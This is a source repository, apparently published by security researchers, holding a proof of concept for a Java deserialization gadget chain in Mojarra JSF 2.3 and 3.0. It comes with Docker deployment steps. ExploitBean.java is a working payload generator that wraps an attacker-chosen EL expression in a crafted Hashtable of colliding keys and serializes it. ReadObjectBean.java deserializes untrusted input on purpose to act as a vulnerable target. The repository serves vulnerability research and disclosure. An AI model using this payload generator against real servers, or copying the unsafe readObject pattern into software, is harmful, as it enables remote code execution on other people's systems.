├── README.md ├── mojaraaGadget-JSF-2.3 ├── Dockerfile ├── pom.xml └── src │ └── main │ ├── java │ └── com │ │ └── mojaraagadget │ │ ├── ExploitBean.java │ │ └── ReadObjectBean.java │ └── webapp │ ├── WEB-INF │ └── web.xml │ ├── exploit.xhtml │ ├── index.xhtml │ └── readObject.xhtml └── mojaraaGadget-JSF-3.0 ├── Dockerfile ├── pom.xml └── src └── main ├── java └── com │ └── mojaraagadget │ ├── ExploitBean.java │ └── ReadObjectBean.java └── webapp ├── WEB-INF └── web.xml ├── exploit.xhtml ├── index.xhtml └── readObject.xhtml /README.md: -------------------------------------------------------------------------------- 1 | # mojarragadget 2 | 3 | ## description 4 | 5 | We found a new Java gadget chain in the Mojarra Library, this repo contains 2 POC to reproduce the exploit on version 2.3 and 3.0. 6 | 7 | More information here: 8 | - https://www.synacktiv.com/publications/finding-gadgets-like-its-2015-part-1.html 9 | - https://www.synacktiv.com/publications/finding-gadgets-like-its-2015-part-2.html 10 | 11 | ## build 12 | 13 | ### version 2.3 14 | 15 | ``` 16 | cd mojaraaGadget-JSF-2.3/ 17 | mvn package 18 | sudo docker build -t mojaraagadget-jsf-2.3 . 19 | sudo docker run --rm -it -p 4848:4848 -p 8080:8080 mojaraagadget-jsf-2.3 20 | ``` 21 | 22 | Then the following URLs are exposed: 23 | 24 | - http://127.0.0.1:8080/mojaraaGadget-JSF-2.3/exploit.xhtml 25 | - http://127.0.0.1:8080/mojaraaGadget-JSF-2.3/readObject.xhtml 26 | 27 | 28 | ### version 3.0 29 | 30 | ``` 31 | cd mojaraaGadget-JSF-3.0/ 32 | mvn package 33 | sudo docker build -t mojaraagadget-jsf-3.0 . 34 | sudo docker run --rm -it -p 4848:4848 -p 8080:8080 mojaraagadget-jsf-3.0 35 | ``` 36 | 37 | You need to redeploy the app before using it due to some weird class loading problems. First wait for this message: 38 | 39 | ``` 40 | [#|2021-10-25T14:39:30.099+0000|INFO|Payara 5.2021.3|fish.payara.boot.runtime.BootCommand|_ThreadID=1;_ThreadName=main;_TimeMillis=1635172770099;_LevelValue=800;| 41 | Boot Command deploy returned with result SUCCESS : PlainTextActionReporterSUCCESSDescription: deploy AdminCommandApplication deployed with name mojaraaGadget-JSF-3.0. 42 | [name=mojaraaGadget-JSF-3.0 43 | |#] 44 | ``` 45 | 46 | Then redeploy the app: 47 | 48 | ``` 49 | sudo docker ps 50 | sudo docker exec -it -u root bash 51 | asadmin --passwordfile passwordFile redeploy --name mojaraaGadget-JSF-3.0 deployments/mojaraaGadget-JSF-3.0.war 52 | ``` 53 | 54 | Then the following URLs are exposed: 55 | 56 | - http://127.0.0.1:8080/mojaraaGadget-JSF-3.0/exploit.xhtml 57 | - http://127.0.0.1:8080/mojaraaGadget-JSF-3.0/readObject.xhtml 58 | -------------------------------------------------------------------------------- /mojaraaGadget-JSF-2.3/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM payara/server-full 2 | COPY target/mojaraaGadget-JSF-2.3.war $DEPLOY_DIR 3 | -------------------------------------------------------------------------------- /mojaraaGadget-JSF-2.3/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 4.0.0 6 | 7 | org.mojaraagadget 8 | mojaraaGadget 9 | 1.0-SNAPSHOT 10 | war 11 | 12 | mojaraaGadget Maven Webapp 13 | 14 | 15 | UTF-8 16 | 1.7 17 | 1.7 18 | 19 | 20 | 21 | 22 | jakarta.platform 23 | jakarta.jakartaee-api 24 | 8.0.0 25 | provided 26 | 27 | 28 | 29 | 30 | mojaraaGadget-JSF-2.3 31 | 32 | 33 | 34 | maven-clean-plugin 35 | 3.1.0 36 | 37 | 38 | 39 | maven-resources-plugin 40 | 3.0.2 41 | 42 | 43 | maven-compiler-plugin 44 | 3.8.0 45 | 46 | 47 | maven-surefire-plugin 48 | 2.22.1 49 | 50 | 51 | maven-war-plugin 52 | 3.2.2 53 | 54 | 55 | maven-install-plugin 56 | 2.5.2 57 | 58 | 59 | maven-deploy-plugin 60 | 2.8.2 61 | 62 | 63 | 64 | 65 | 66 | org.apache.maven.plugins 67 | maven-compiler-plugin 68 | 69 | 8 70 | 8 71 | 72 | 73 | 74 | 75 | 76 | -------------------------------------------------------------------------------- /mojaraaGadget-JSF-2.3/src/main/java/com/mojaraagadget/ExploitBean.java: -------------------------------------------------------------------------------- 1 | package com.mojaraagadget; 2 | 3 | import javax.el.ELContext; 4 | import javax.el.ExpressionFactory; 5 | import javax.el.ValueExpression; 6 | import javax.enterprise.context.RequestScoped; 7 | import javax.faces.component.UIColumn; 8 | import javax.faces.context.FacesContext; 9 | import javax.inject.Named; 10 | 11 | import java.io.ByteArrayOutputStream; 12 | import java.io.IOException; 13 | import java.io.ObjectOutputStream; 14 | import java.lang.reflect.Constructor; 15 | import java.util.Base64; 16 | import java.util.Hashtable; 17 | import java.util.Map; 18 | 19 | 20 | 21 | @Named 22 | @RequestScoped 23 | public class ExploitBean { 24 | 25 | private String payload; 26 | private String elString; 27 | 28 | public void setPayload(String payload){ 29 | this.payload = payload; 30 | } 31 | public String getPayload(){ 32 | return this.payload; 33 | } 34 | 35 | public void setElString(String elString){ 36 | this.elString = elString; 37 | } 38 | public String getElString(){ 39 | return this.elString; 40 | } 41 | 42 | 43 | public void generatePayload(){ 44 | 45 | Hashtable payload = constructPayload(this.elString); 46 | 47 | try { 48 | this.payload = base64Serialize(payload); 49 | } catch (IOException e) { 50 | e.printStackTrace(); 51 | } 52 | } 53 | 54 | private Object constructAttributesMap(UIColumn uiColumn){ 55 | try { 56 | 57 | Class clazz = Class.forName("javax.faces.component.UIComponentBase$AttributesMap"); 58 | Constructor constructor = clazz.getDeclaredConstructors()[0]; 59 | constructor.setAccessible(true); 60 | Object attributesMap = constructor.newInstance(uiColumn); 61 | return attributesMap; 62 | 63 | }catch (Exception e){ 64 | e.printStackTrace(); 65 | } 66 | 67 | return null; 68 | } 69 | 70 | private UIColumn constructUiColumn(String elString){ 71 | 72 | UIColumn uiColumn = new UIColumn(); 73 | 74 | FacesContext ctx = FacesContext.getCurrentInstance(); 75 | ELContext elContext = ctx.getELContext(); 76 | ExpressionFactory expressionFactory = ctx.getApplication().getExpressionFactory(); 77 | 78 | ValueExpression ve = expressionFactory.createValueExpression(elContext, elString, Object.class); 79 | 80 | // set the value expression for the UIComponent 81 | uiColumn.setValueExpression("yy",ve); 82 | uiColumn.setValueExpression("zZ",ve); 83 | 84 | return uiColumn; 85 | 86 | } 87 | 88 | private Hashtable constructPayload(String elString){ 89 | 90 | FacesContext ctx = FacesContext.getCurrentInstance(); 91 | ELContext elContext = ctx.getELContext(); 92 | ExpressionFactory expressionFactory = ctx.getApplication().getExpressionFactory(); 93 | 94 | // dummy ValueExpression to bypass class loading problems 95 | ValueExpression ve = expressionFactory.createValueExpression(elContext, "${1+1}", Object.class); 96 | 97 | UIColumn uiColumn = constructUiColumn(elString); 98 | 99 | Map innerMap1 = new Hashtable(); 100 | Map innerMap2 = (Map) constructAttributesMap(uiColumn); 101 | 102 | // hash collision 103 | innerMap1.put("yy", 1); 104 | innerMap2.put("zZ", 1); 105 | 106 | Hashtable hashtable = new Hashtable(); 107 | 108 | // add the dummy ValueExpression to bypass class loading problems 109 | hashtable.put(ve, 0); 110 | 111 | // add the AttributesMap and the Hashtable 112 | hashtable.put(innerMap1, 1); 113 | hashtable.put(innerMap2, 2); 114 | 115 | return hashtable; 116 | 117 | } 118 | 119 | private String base64Serialize(Object obj) throws IOException { 120 | 121 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 122 | new ObjectOutputStream(baos).writeObject(obj); 123 | String res = Base64.getEncoder().encodeToString(baos.toByteArray()); 124 | 125 | return res; 126 | } 127 | 128 | } 129 | -------------------------------------------------------------------------------- /mojaraaGadget-JSF-2.3/src/main/java/com/mojaraagadget/ReadObjectBean.java: -------------------------------------------------------------------------------- 1 | package com.mojaraagadget; 2 | 3 | import javax.enterprise.context.RequestScoped; 4 | import javax.inject.Named; 5 | 6 | import java.io.ByteArrayInputStream; 7 | import java.io.ObjectInputStream; 8 | import java.util.Base64; 9 | 10 | 11 | @Named 12 | @RequestScoped 13 | public class ReadObjectBean { 14 | 15 | private String payload; 16 | private String message; 17 | 18 | public void setPayload(String elString){ 19 | this.payload = elString; 20 | } 21 | public String getPayload(){ 22 | return this.payload; 23 | } 24 | 25 | public void setMessage(String message){ 26 | this.message = message; 27 | } 28 | public String getMessage(){ 29 | return this.message; 30 | } 31 | 32 | public void unserializePaylod(){ 33 | 34 | try { 35 | String param = this.payload; 36 | 37 | if (param == null || param.equals("")){ 38 | this.message = "[+] error : nothing to deserialize.\n"; 39 | return; 40 | } 41 | byte[] decodedBytes = Base64.getDecoder().decode(param); 42 | 43 | ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decodedBytes); 44 | ObjectInputStream in = new ObjectInputStream(byteArrayInputStream); 45 | 46 | // trigger the deserialization 47 | Object obj = in.readObject(); 48 | this.message = "[+] successfully call readObject on the param value ! \n"; 49 | 50 | } catch (Exception e) { 51 | e.printStackTrace(); 52 | this.message = "\n[+] error : " + e.getMessage(); 53 | } 54 | } 55 | 56 | } 57 | -------------------------------------------------------------------------------- /mojaraaGadget-JSF-2.3/src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | Faces Servlet 10 | javax.faces.webapp.FacesServlet 11 | 12 | 13 | 14 | Faces Servlet 15 | *.xhtml 16 | 17 | 18 | 19 | index.xhtml 20 | 21 | 22 | -------------------------------------------------------------------------------- /mojaraaGadget-JSF-2.3/src/main/webapp/exploit.xhtml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | mojaraaGadget-JSF-2.3 9 | 10 | 11 | 12 | 13 | 14 | 15 | 17 | 18 |
19 | 20 |
21 | 22 |
23 | -------------------------------------------------------------------------------- /mojaraaGadget-JSF-2.3/src/main/webapp/index.xhtml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | mojaraaGadget-JSF-2.3 8 | 9 | 10 |

Mojaraa gadget POC

11 | 15 |
16 | -------------------------------------------------------------------------------- /mojaraaGadget-JSF-2.3/src/main/webapp/readObject.xhtml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | mojaraaGadget-JSF-2.3 9 | 10 | 11 | 12 | 13 | 14 | 15 | 17 | 18 |
19 | 20 |
21 | 22 |
23 | -------------------------------------------------------------------------------- /mojaraaGadget-JSF-3.0/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM payara/server-full 2 | COPY target/mojaraaGadget-JSF-3.0.war $DEPLOY_DIR 3 | #RUN echo 'redeploy --name mojaraaGadget-JSF-3.0 /opt/payara/deployments/mojaraaGadget-JSF-3.0.war' >> $POSTBOOT_COMMANDS 4 | -------------------------------------------------------------------------------- /mojaraaGadget-JSF-3.0/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 4.0.0 6 | 7 | org.mojaraagadget 8 | mojaraaGadget 9 | 1.0-SNAPSHOT 10 | war 11 | 12 | mojaraaGadget Maven Webapp 13 | 14 | 15 | UTF-8 16 | 1.7 17 | 1.7 18 | 19 | 20 | 21 | 22 | jakarta.platform 23 | jakarta.jakartaee-api 24 | 9.0.0 25 | provided 26 | 27 | 28 | 29 | 30 | mojaraaGadget-JSF-3.0 31 | 32 | 33 | 34 | maven-clean-plugin 35 | 3.1.0 36 | 37 | 38 | 39 | maven-resources-plugin 40 | 3.0.2 41 | 42 | 43 | maven-compiler-plugin 44 | 3.8.0 45 | 46 | 47 | maven-surefire-plugin 48 | 2.22.1 49 | 50 | 51 | maven-war-plugin 52 | 3.2.2 53 | 54 | 55 | maven-install-plugin 56 | 2.5.2 57 | 58 | 59 | maven-deploy-plugin 60 | 2.8.2 61 | 62 | 63 | 64 | 65 | 66 | org.apache.maven.plugins 67 | maven-compiler-plugin 68 | 69 | 8 70 | 8 71 | 72 | 73 | 74 | 75 | 76 | -------------------------------------------------------------------------------- /mojaraaGadget-JSF-3.0/src/main/java/com/mojaraagadget/ExploitBean.java: -------------------------------------------------------------------------------- 1 | package com.mojaraagadget; 2 | 3 | import jakarta.el.ELContext; 4 | import jakarta.el.ExpressionFactory; 5 | import jakarta.el.ValueExpression; 6 | import jakarta.enterprise.context.RequestScoped; 7 | import jakarta.faces.component.UIColumn; 8 | import jakarta.faces.context.FacesContext; 9 | import jakarta.inject.Named; 10 | 11 | import java.io.ByteArrayOutputStream; 12 | import java.io.IOException; 13 | import java.io.ObjectOutputStream; 14 | import java.lang.reflect.Constructor; 15 | import java.util.Base64; 16 | import java.util.Hashtable; 17 | import java.util.Map; 18 | 19 | 20 | 21 | @Named 22 | @RequestScoped 23 | public class ExploitBean { 24 | 25 | private String payload; 26 | private String elString; 27 | 28 | public void setPayload(String payload){ 29 | this.payload = payload; 30 | } 31 | public String getPayload(){ 32 | return this.payload; 33 | } 34 | 35 | public void setElString(String elString){ 36 | this.elString = elString; 37 | } 38 | public String getElString(){ 39 | return this.elString; 40 | } 41 | 42 | 43 | public void generatePayload(){ 44 | 45 | Hashtable payload = constructPayload(this.elString); 46 | 47 | try { 48 | this.payload = base64Serialize(payload); 49 | } catch (IOException e) { 50 | e.printStackTrace(); 51 | } 52 | } 53 | 54 | private Object constructAttributesMap(UIColumn uiColumn){ 55 | try { 56 | 57 | Class clazz = Class.forName("jakarta.faces.component.UIComponentBase$AttributesMap"); 58 | Constructor constructor = clazz.getDeclaredConstructors()[0]; 59 | constructor.setAccessible(true); 60 | Object attributesMap = constructor.newInstance(uiColumn); 61 | return attributesMap; 62 | 63 | }catch (Exception e){ 64 | e.printStackTrace(); 65 | } 66 | 67 | return null; 68 | } 69 | 70 | private UIColumn constructUiColumn(String elString){ 71 | 72 | UIColumn uiColumn = new UIColumn(); 73 | 74 | FacesContext ctx = FacesContext.getCurrentInstance(); 75 | ELContext elContext = ctx.getELContext(); 76 | ExpressionFactory expressionFactory = ctx.getApplication().getExpressionFactory(); 77 | 78 | ValueExpression ve = expressionFactory.createValueExpression(elContext, elString, Object.class); 79 | 80 | // set the value expression for the UIComponent 81 | uiColumn.setValueExpression("yy",ve); 82 | uiColumn.setValueExpression("zZ",ve); 83 | 84 | return uiColumn; 85 | 86 | } 87 | 88 | private Hashtable constructPayload(String elString){ 89 | 90 | FacesContext ctx = FacesContext.getCurrentInstance(); 91 | ELContext elContext = ctx.getELContext(); 92 | ExpressionFactory expressionFactory = ctx.getApplication().getExpressionFactory(); 93 | 94 | // dummy ValueExpression to bypass class loading problems 95 | ValueExpression ve = expressionFactory.createValueExpression(elContext, "${1+1}", Object.class); 96 | 97 | UIColumn uiColumn = constructUiColumn(elString); 98 | 99 | Map innerMap1 = new Hashtable(); 100 | Map innerMap2 = (Map) constructAttributesMap(uiColumn); 101 | 102 | // hash collision 103 | innerMap1.put("yy", 1); 104 | innerMap2.put("zZ", 1); 105 | 106 | Hashtable hashtable = new Hashtable(); 107 | 108 | // add the dummy ValueExpression to bypass class loading problems 109 | hashtable.put(ve, 0); 110 | 111 | // add the AttributesMap and the Hashtable 112 | hashtable.put(innerMap1, 1); 113 | hashtable.put(innerMap2, 2); 114 | 115 | return hashtable; 116 | 117 | } 118 | 119 | private String base64Serialize(Object obj) throws IOException { 120 | 121 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 122 | new ObjectOutputStream(baos).writeObject(obj); 123 | String res = Base64.getEncoder().encodeToString(baos.toByteArray()); 124 | 125 | return res; 126 | } 127 | 128 | } 129 | -------------------------------------------------------------------------------- /mojaraaGadget-JSF-3.0/src/main/java/com/mojaraagadget/ReadObjectBean.java: -------------------------------------------------------------------------------- 1 | package com.mojaraagadget; 2 | 3 | import jakarta.enterprise.context.RequestScoped; 4 | import jakarta.inject.Named; 5 | 6 | import java.io.ByteArrayInputStream; 7 | import java.io.ObjectInputStream; 8 | import java.util.Base64; 9 | 10 | 11 | @Named 12 | @RequestScoped 13 | public class ReadObjectBean { 14 | 15 | private String payload; 16 | private String message; 17 | 18 | public void setPayload(String elString){ 19 | this.payload = elString; 20 | } 21 | public String getPayload(){ 22 | return this.payload; 23 | } 24 | 25 | public void setMessage(String message){ 26 | this.message = message; 27 | } 28 | public String getMessage(){ 29 | return this.message; 30 | } 31 | 32 | public void unserializePaylod(){ 33 | 34 | try { 35 | String param = this.payload; 36 | 37 | if (param == null || param.equals("")){ 38 | this.message = "[+] error : nothing to deserialize.\n"; 39 | return; 40 | } 41 | byte[] decodedBytes = Base64.getDecoder().decode(param); 42 | 43 | ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decodedBytes); 44 | ObjectInputStream in = new ObjectInputStream(byteArrayInputStream); 45 | 46 | // trigger the deserialization 47 | Object obj = in.readObject(); 48 | this.message = "[+] successfully call readObject on the param value ! \n"; 49 | 50 | } catch (Exception e) { 51 | e.printStackTrace(); 52 | this.message = "\n[+] error : " + e.getMessage(); 53 | } 54 | } 55 | 56 | } 57 | -------------------------------------------------------------------------------- /mojaraaGadget-JSF-3.0/src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | facesServlet 10 | jakarta.faces.webapp.FacesServlet 11 | 12 | 13 | 14 | facesServlet 15 | *.xhtml 16 | 17 | 18 | 19 | index.xhtml 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /mojaraaGadget-JSF-3.0/src/main/webapp/exploit.xhtml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | mojaraaGadget-JSF-3.0 9 | 10 | 11 | 12 | 13 | 14 | 15 | 17 | 18 |
19 | 20 |
21 | 22 |
23 | -------------------------------------------------------------------------------- /mojaraaGadget-JSF-3.0/src/main/webapp/index.xhtml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | mojaraaGadget-JSF-3.0 8 | 9 | 10 |

Mojaraa gadget POC

11 | 15 |
16 | -------------------------------------------------------------------------------- /mojaraaGadget-JSF-3.0/src/main/webapp/readObject.xhtml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | mojaraaGadget-JSF-3.0 9 | 10 | 11 | 12 | 13 | 14 | 15 | 17 | 18 |
19 | 20 |
21 | 22 |
23 | --------------------------------------------------------------------------------